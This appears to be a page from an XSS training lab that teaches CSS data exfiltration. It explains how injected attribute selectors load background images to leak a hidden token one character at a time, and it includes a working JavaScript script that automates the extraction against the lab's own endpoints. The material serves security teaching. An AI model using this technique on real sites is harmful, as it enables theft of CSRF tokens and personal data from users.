Defenses: HTML tags (like <script>) and event handlers are stripped. The input is placed directly inside a <style> block.
Your input is placed into a <style> block. Can you steal the secret token without using JavaScript?
CONCEPT: CSS Data Exfiltration
If an attacker can inject arbitrary CSS into a page containing sensitive data (like CSRF tokens or personal info in input values), they can extract that data. By using CSS attribute selectors (e.g., [value^="a"]), they can create rules that only apply if the sensitive data starts with a specific letter. If the rule matches, it loads a background-image from the attacker's server, leaking that character. This process is repeated to extract the full token.
Steal the value of this hidden input field using CSS:
Note: In a real attack, you would automate this. Use this script in your browser console to automate the extraction:
async function stealSecret() {
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
let known = 'xss_css_master_';
while (true) {
let found = false;
for (let c of chars) {
let guess = known + c;
let payload = `input[name="secretToken"][value^="${guess}"] { background: url('/api/26/leak?c=${guess}'); }`;
// Send the payload
await fetch('/xss/level/26?style=' + encodeURIComponent(payload));
// Wait for the background request to trigger if it matched
await new Promise(r => setTimeout(r, 200));
// Check if our guess hit the leak endpoint
let res = await fetch('/xss/api/26/leak-check');
let data = await res.json();
if (data.leaked && data.data === guess) {
known = guess;
console.log('Found so far:', known);
found = true;
break;
}
}
if (!found) break; // Finished
}
console.log('Final stolen token:', known);
if (known.length > 15) alert('Stolen: ' + known);
}